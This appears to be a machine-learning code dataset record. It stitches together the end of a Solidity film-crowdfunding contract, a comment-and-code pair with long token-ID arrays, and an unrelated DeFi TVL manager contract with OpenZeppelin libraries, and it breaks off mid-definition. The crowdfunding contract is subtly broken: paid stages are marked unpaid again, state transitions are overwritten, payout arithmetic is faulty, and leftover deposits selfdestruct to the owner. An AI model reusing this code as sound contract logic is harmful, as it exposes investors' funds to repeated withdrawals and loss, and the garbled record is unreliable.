softcap = _softcap;
hardcap = _hardcap;*/
start = now;
period = 10 * 1 days;
fundRecipient = 0xca35b7d915458ef540ade6068dfe2f44e8fa733c;
softcap = 50 * 1 ether;
hardcap = 2000 * 1 ether;
setDividentModels (_dividendModels);
// add address of project
contributions.push(
Contribution({
amount: 0,
contributor: 0xdd870fa1b7c4700f2bd7f44238821c26f7392148,
wasGetRefund: false,
wasGetDict: false,
wasOpenVoting: false
})
);
//require (now < start); // it allows don't start the crowdsale before now
}
/**
* @dev add a time (stage) of payment money to the project
*
* @param time time of payment
* @param percent percent of the stage
*/
function addTimeStageFinance (uint32 time, uint percent) public onlyOwner {
timeStageFinance.push(time);
wasStageBePayd.push(false);
percentStageFinance.push(percent);
}
/**
* @dev function from transferring an electronic's contribution to the project account
*
* msg.value how many ether sented by the contribution
* msg.sender address of contribution
*/
function contribute() public payable
{
// it allows collecting money only during fundraising
require (state == State.Fundraising || state == State.Successful);
// add record about transaction in struct
contributions.push(
Contribution({
amount: msg.value,
contributor: msg.sender,
wasGetRefund: false,
wasGetDict: false,
wasOpenVoting: false
})
);
uint id = contributions.length - 1; // id of sender
//owner.transfer(msg.value);
//transfer (owner, msg.value);
emit Transfer (msg.sender, owner, msg.value);
amountRaised = amountRaised.add(msg.value);
// call event from transaction means
emit LogFundingReceived(msg.sender, msg.value, amountRaised, id);
if (amountRaised >= softcap) {
if (amountRaised >= hardcap) {
completeAt = now;
// it's need to calculate the payments to the project
totalRaised = amountRaised;
state = State.Closed;
}
else if (now > start.add(period)) {
completeAt = now;
totalRaised = amountRaised;
state = State.Closed;
countInvestors = contributions.length;
}
state = State.Successful;
}
else
if (now > start.add(period)) {
completeAt = now;
timeToStartExpiredRefund = now;
state = State.ExpiredRefund;
}
}
/**
* @dev return of ethers in case of an unsuccessful result crowdsale
*
* @param id allows to get back ether
*/
function getRefund(uint256 id) public inState(State.ExpiredRefund) returns (bool)
{
require (id <= contributions.length && id > 0
&& contributions[id].amount > 0
&& contributions[id].wasGetRefund == false
&& msg.sender == contributions[id].contributor); // check authenticity of spender
uint amountToRefund = contributions[id].amount * percentOfDeposit / 100;
contributions[id].amount = 0;
if(contributions[id].contributor.send(amountToRefund)) {
// success to send back ether
contributions[id].wasGetRefund = true;
amountRaised = amountRaised.sub(amountToRefund);
emit Transfer (msg.sender, contributions[id].contributor, amountToRefund);
}
else {
// failure to send back ether
contributions[id].amount = amountToRefund;
return false;
}
return true;
}
/**
* @dev transfers collected money to the project in parts
*
* @param stage number of the stage that we want to pay
*/
function transferToProject (uint256 stage) public inState(State.Closed) onlyOwner isNotVoting {
require (stage <= timeStageFinance.length);
require (now >= timeStageFinance[stage - 1] && wasStageBePayd[stage - 1] == false);
uint amountToTransfer; // amount of ether to transfer to the project
if (stage != 1) {
require (wasStageBePayd[stage - 2] == true); // previos stage must be paid
}
uint percent = percentStageFinance [stage -1];
amountToTransfer = totalRaised.mul(percent).div(100);
project.transfer (amountToTransfer); // transfer 25% to project
emit Transfer (msg.sender, project, amountToTransfer);
amountRaised = amountRaised.sub(amountToTransfer);
wasStageBePayd[stage - 1] = false;
}
/****************************************************************************************
* DIVIDENT DISTRIBUTION *
* **************************************************************************************/
uint durectShotFilmInDays = 365 * 1 days; // how long will the film be shoting
uint filmTotalGets; // how much the film collected in the rental
function setStateDivDistribution () public onlyOwner payable {
require(msg.sender == project);
require (now > timeStageFinance[0] + durectShotFilmInDays); // film must be finished
filmTotalGets = msg.value;
if (totalRaised < filmTotalGets) {
state = State.ExpiredRefund;
timeToStartExpiredRefund = now;
}
else {
state = State.DivDistribution;
}
}
/**
* will there be enough money to pay them to investors at the current multiplier.
* if no, that the multiplier decreases
*/
function checkFixMultiplier (uint _multiplier) private returns (uint) {
uint multiplier = _multiplier;
if (filmTotalGets < totalRaised * multiplier) {
multiplier = filmTotalGets / totalRaised;
}
return multiplier;
}
uint fixMultiplier;
function setParamsFixReturn () public inState(State.DivDistribution) onlyOwner {
fixMultiplier = 3;
fixMultiplier = checkFixMultiplier(fixMultiplier);
}
function fixReturn(uint256 id) public inState(State.DivDistribution) inDivModel(DividendModels.fixReturn) returns (bool)
{
require (id <= contributions.length && id > 0
&& contributions[id].amount > 0
&& contributions[id].wasGetDict == false
&& msg.sender == contributions[id].contributor); // check authenticity of spender
uint amountToDist = contributions[id].amount * fixMultiplier;
contributions[id].amount = 0;
if(contributions[id].contributor.send(amountToDist)) {
// success to send back ether
contributions[id].wasGetDict = true;
amountRaised = amountRaised.sub(amountToDist);
emit Transfer (msg.sender, contributions[id].contributor, amountToDist);
}
else {
// failure to send back ether
contributions[id].amount = amountToDist;
return false;
}
return true;
}
uint perAbove;
function setParamsFixReturnPerAbove () public inState(State.DivDistribution) onlyOwner {
fixMultiplier = 3;
fixMultiplier = checkFixMultiplier(fixMultiplier);
perAbove = 50;
}
function fixReturnPerAbove(uint256 id) public inState(State.DivDistribution) inDivModel(DividendModels.fixReturnPerAbove)
returns (bool)
{
require (id <= contributions.length && id > 0
&& contributions[id].amount > 0
&& contributions[id].wasGetDict == false
&& msg.sender == contributions[id].contributor); // check authenticity of spender
uint temp = contributions[id].amount * fixMultiplier;
uint amountToDist = temp + (filmTotalGets - temp) / 100 * perAbove / countInvestors;
contributions[id].amount = 0;
if(contributions[id].contributor.send(amountToDist)) {
// success to send back ether
contributions[id].wasGetDict = true;
amountRaised = amountRaised.sub(amountToDist);
emit Transfer (msg.sender, contributions[id].contributor, amountToDist);
}
else {
// failure to send back ether
contributions[id].amount = amountToDist;
return false;
}
return true;
}
function fullDividents(uint256 id) public inState(State.DivDistribution) inDivModel(DividendModels.fullDividents) returns
(bool)
{
require (id <= contributions.length && id > 0
&& contributions[id].amount > 0
&& contributions[id].wasGetDict == false
&& msg.sender == contributions[id].contributor); // check authenticity of spender
uint multiplier = filmTotalGets / amountRaised;
uint amountToDist = contributions[id].amount * multiplier;
contributions[id].amount = 0;
if(contributions[id].contributor.send(amountToDist)) {
// success to send back ether
contributions[id].wasGetDict = true;
amountRaised = amountRaised.sub(amountToDist);
emit Transfer (msg.sender, contributions[id].contributor, amountToDist);
}
else {
// failure to send back ether
contributions[id].amount = amountToDist;
return false;
}
return true;
}
function dividentsAutFee(uint256 id) public inState(State.DivDistribution) inDivModel(DividendModels.dividentsAutFee)
returns (bool)
{
require (id <= contributions.length && id > 0
&& contributions[id].amount > 0
&& contributions[id].wasGetDict == false
&& msg.sender == contributions[id].contributor); // check authenticity of spender
uint percentToInvestors; // what percentage of the proceeds goes to investors
if (filmTotalGets < 1000000) {
percentToInvestors = 50;
}
else if (filmTotalGets < 2000000) {
percentToInvestors = 60;
}
else {
percentToInvestors = 70;
}
uint multiplier = (filmTotalGets / 100 * percentToInvestors) / amountRaised;
uint amountToDist = contributions[id].amount * multiplier;
contributions[id].amount = 0;
if(contributions[id].contributor.send(amountToDist)) {
// success to send back ether
contributions[id].wasGetDict = true;
amountRaised = amountRaised.sub(amountToDist);
emit Transfer (msg.sender, contributions[id].contributor, amountToDist);
}
else {
// failure to send back ether
contributions[id].amount = amountToDist;
return false;
}
return true;
}
// @dev creator gets all money that hasn't be claimed
function removeContract() public onlyOwner() inState(State.ExpiredRefund) {
require (now > timeToStartExpiredRefund.add(periodOfExpiredRefund));
selfdestruct(owner);
}
/**
* @dev Fallback function
*
* The function without name is the default function that is called whenever anyone sends funds to a contract
*/
function () external payable {
contribute ();
}
/***************************************************************************************
* VOTING *
* *************************************************************************************/
// check for a voting
modifier isNotVoting() {
require (isVoting == false);
_;
}
// Variables and events for the voting
uint256 public minimumQuorum = 1;
uint256 public debatingPeriodInMinutes = 15;
event Voted(bool position, address voter, string justification);
// proposal calculated
event ProposalTallied(uint resultFor, uint resultAgainst, uint quorum, bool active);
event ChangeOfRules(uint newMinimumQuorum, uint newDebatingPeriodInMinutes);
// Variables of proposal
string description;
uint votingDeadline;
bool public isVoting = false; // is the voting in progress now
uint numberOfVotes;
uint currentResultFor; // number of votes FOR performing
uint currentResultAgainst; // number of votes AGAINST performing
mapping (address => bool) voted;
/**
* Change voting rules
*
* Make so that proposals need to be discussed for at least `debatingPeriodInMinutes/60` hours,
* have at least `minimumQuorum` votes to be executed
*
* @param _minimumQuorum how many members must vote on a proposal for it to be executed
* @param _debatingPeriodInMinutes the minimum amount of delay between when a proposal is made and when it can be
executed
*/
function changeVotingRules(
uint _minimumQuorum,
uint _debatingPeriodInMinutes
) onlyOwner isNotVoting public {
minimumQuorum = _minimumQuorum;
debatingPeriodInMinutes = _debatingPeriodInMinutes;
emit ChangeOfRules(minimumQuorum, debatingPeriodInMinutes);
}
/**
* Open Proposal
*
* @param _description Description of job
* @param yourId allows to prohibit the re-opening of a voting this contributor
*/
function openProposal(string _description, uint256 yourId
) isNotVoting inState(State.Closed) public
{
require (msg.sender == contributions[yourId].contributor); // check authenticity of spender
votingDeadline = now.add(debatingPeriodInMinutes) * 1 seconds; // for tests
numberOfVotes = 0;
description = _description;
isVoting = true;
contributions[yourId].wasOpenVoting = true;
// change minimumQuorum knowing the number of invested
// minimum 50% insvestors must to voting than voting will be perform, besides rest
// condition allows to avoid the state when minimumQuorum is very small
if (contributions.length / 2 > minimumQuorum)
changeVotingRules(contributions.length / 2, debatingPeriodInMinutes);
// vote of the creator proposal automatically add as true
vote (yourId, true, description);
}
/**
* Log a vote for a proposal
*
* Vote `supportsProposal? in support of : against` proposal #`proposalNumber`
*
* @param supportsProposal either in favor or against it
* @param justificationText optional justification text
*/
function vote (uint256 yourId,
bool supportsProposal,
string justificationText
) public returns (uint)
{
require (isVoting // the voting must already begin
&& msg.sender == contributions[yourId].contributor // voting must take place
&& !voted[msg.sender]); // If has already voted, cancel
voted[msg.sender] = true; // Set this voter as having voted
uint weightOfVote = contributions[yourId].amount; // strength of voice depends from amount invested ether
numberOfVotes ++; // Increase the number of votes
if (supportsProposal) { // If they support the proposal
currentResultFor = currentResultFor.add(weightOfVote); // Increase FOR
} else { // If they don't
currentResultAgainst = currentResultAgainst.add(weightOfVote); // Increase AGAINST
}
// Create a log of this event
emit Voted(supportsProposal, msg.sender, justificationText);
return numberOfVotes;
}
uint percentOfDeposit = 100; // percent of the deposit is returned
/**
* Finish vote
*
* Count the votes proposal #`proposalNumber` and execute it if approved
*
*/
function executeProposal() public {
require(now > votingDeadline // If it is past the voting deadline
&& isVoting // and it has not already been executed
&& numberOfVotes >= minimumQuorum); // and a minimum quorum has been reached...
// ...then execute result
bool proposalPassed; // need for event
if (currentResultFor > currentResultAgainst) {
// Proposal successful
proposalPassed = true;
isVoting = false;
completeAt = now;
timeToStartExpiredRefund = now;
state = State.ExpiredRefund;
percentOfDeposit = amountRaised / totalRaised * 100;
} else {
// Proposal failed
proposalPassed = false;
numberOfVotes = 0;
isVoting = false;
}
// Fire Events
emit ProposalTallied(currentResultFor, currentResultAgainst, numberOfVotes, proposalPassed);
}
}
| time after which can transfer the some part of ether
| uint [] timeStageFinance; | 1,081,571 | [
1,
957,
1839,
1492,
848,
7412,
326,
2690,
1087,
434,
225,
2437,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
5378,
813,
8755,
6187,
1359,
31,
3639,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./utils/EnumerableSet.sol";
import "./interfaces/IAssetAllocation.sol";
import "./interfaces/ITVLManager.sol";
import "./interfaces/IOracleAdapter.sol";
import "./interfaces/IAddressRegistryV2.sol";
/// @title TVL Manager
/// @author APY.Finance
/// @notice Deployed assets can exist across various platforms within the
/// defi ecosystem: pools, accounts, defi protocols, etc. This contract
/// tracks deployed capital by registering the look up functions so that
/// the TVL can be properly computed.
/// @dev It is imperative that this manager has the most up to date asset
/// allocations registered. Any assets in the system that have been deployed,
/// but are not registered can have devastating and catastrophic effects on the TVL.
contract TVLManager is Ownable, ReentrancyGuard, ITVLManager, IAssetAllocation {
using EnumerableSet for EnumerableSet.Bytes32Set;
using Address for address;
IAddressRegistryV2 public addressRegistry;
// all registered allocation ids
EnumerableSet.Bytes32Set private _allocationIds;
// ids mapped to data
mapping(bytes32 => Data) private _allocationData;
// ids mapped to symbol
mapping(bytes32 => string) private _allocationSymbols;
// ids mapped to decimals
mapping(bytes32 => uint256) private _allocationDecimals;
/// @notice Constructor TVLManager
/// @param _addressRegistry the address registry to initialize with
constructor(address _addressRegistry) public {
setAddressRegistry(_addressRegistry);
}
/// @dev Reverts if non-permissed account calls.
/// Permissioned accounts are: owner, pool manager, and account manager
modifier onlyPermissioned() {
require(
msg.sender == owner() ||
msg.sender == addressRegistry.poolManagerAddress() ||
msg.sender == addressRegistry.lpSafeAddress(),
"PERMISSIONED_ONLY"
);
_;
}
function lockOracleAdapter() internal {
IOracleAdapter oracleAdapter =
IOracleAdapter(addressRegistry.oracleAdapterAddress());
oracleAdapter.lock();
}
/// @notice Registers a new asset allocation
/// @dev only permissed accounts can call.
/// New ids are uniquely determined by the provided data struct; no duplicates are allowed
/// @param data the data struct containing the target address and the bytes lookup data that will be registered
/// @param symbol the token symbol to register for the asset allocation
/// @param decimals the decimals to register for the new asset allocation
function addAssetAllocation(
Data memory data,
string calldata symbol,
uint256 decimals
) external override nonReentrant onlyPermissioned {
require(!isAssetAllocationRegistered(data), "DUPLICATE_DATA_DETECTED");
bytes32 dataHash = generateDataHash(data);
_allocationIds.add(dataHash);
_allocationData[dataHash] = data;
_allocationSymbols[dataHash] = symbol;
_allocationDecimals[dataHash] = decimals;
lockOracleAdapter();
}
/// @notice Removes an existing asset allocation
/// @dev only permissed accounts can call.
/// @param data the data struct containing the target address and bytes lookup data that will be removed
function removeAssetAllocation(Data memory data)
external
override
nonReentrant
onlyPermissioned
{
require(isAssetAllocationRegistered(data), "ALLOCATION_DOES_NOT_EXIST");
bytes32 dataHash = generateDataHash(data);
_allocationIds.remove(dataHash);
delete _allocationData[dataHash];
delete _allocationSymbols[dataHash];
delete _allocationDecimals[dataHash];
lockOracleAdapter();
}
/// @notice Generates a data hash used for uniquely identifying asset allocations
/// @param data the data hash containing the target address and the bytes lookup data
/// @return returns the resulting bytes32 hash of the abi encode packed target address and bytes look up data
function generateDataHash(Data memory data)
public
pure
override
returns (bytes32)
{
return keccak256(abi.encodePacked(data.target, data.data));
}
/// @notice determines if a target address and bytes lookup data has already been registered
/// @param data the data hash containing the target address and the bytes lookup data
/// @return returns true if the asset allocation is currently registered, otherwise false
function isAssetAllocationRegistered(Data memory data)
public
view
override
returns (bool)
{
return _isAssetAllocationRegistered(generateDataHash(data));
}
/// @notice helper function for isAssetallocationRegistered function
/// @param data the bytes32 hash
/// @return returns true if the asset allocation is currently registered, otherwise false
function _isAssetAllocationRegistered(bytes32 data)
public
view
returns (bool)
{
return _allocationIds.contains(data);
}
/// @notice Returns a list of all identifiers where asset allocations have been registered
/// @dev the list contains no duplicate identifiers
/// @return list of all the registered identifiers
function getAssetAllocationIds()
external
view
override
returns (bytes32[] memory)
{
uint256 length = _allocationIds.length();
bytes32[] memory allocationIds = new bytes32[](length);
for (uint256 i = 0; i < length; i++) {
allocationIds[i] = _allocationIds.at(i);
}
return allocationIds;
}
/// @notice Executes the bytes lookup data registered under an id
/// @dev The balance of an id may be aggregated from multiple contracts
/// @param allocationId the id to fetch the balance for
/// @return returns the result of the executed lookup data registered for the provided id
function balanceOf(bytes32 allocationId)
external
view
override
returns (uint256)
{
require(
_isAssetAllocationRegistered(allocationId),
"INVALID_ALLOCATION_ID"
);
Data memory data = _allocationData[allocationId];
bytes memory returnData = executeView(data);
uint256 _balance;
assembly {
_balance := mload(add(returnData, 0x20))
}
return _balance;
}
/// @notice Returns the token symbol registered under an id
/// @param allocationId the id to fetch the token for
/// @return returns the result of the token symbol registered for the provided id
function symbolOf(bytes32 allocationId)
external
view
override
returns (string memory)
{
return _allocationSymbols[allocationId];
}
/// @notice Returns the decimals registered under an id
/// @param allocationId the id to fetch the decimals for
/// @return returns the result of the decimal value registered for the provided id
function decimalsOf(bytes32 allocationId)
external
view
override
returns (uint256)
{
return _allocationDecimals[allocationId];
}
/// @notice Executes data's bytes look up data against data's target address
/// @dev execution is a static call
/// @param data the data hash containing the target address and the bytes lookup data to execute
/// @return returnData returns return data from the executed contract
function executeView(Data memory data)
public
view
returns (bytes memory returnData)
{
returnData = data.target.functionStaticCall(data.data);
}
/**
* @notice Sets the address registry
* @dev only callable by owner
* @param _addressRegistry the address of the registry
*/
function setAddressRegistry(address _addressRegistry) public onlyOwner {
require(Address.isContract(_addressRegistry), "INVALID_ADDRESS");
addressRegistry = IAddressRegistryV2(_addressRegistry);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
/* solhint-disable */
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
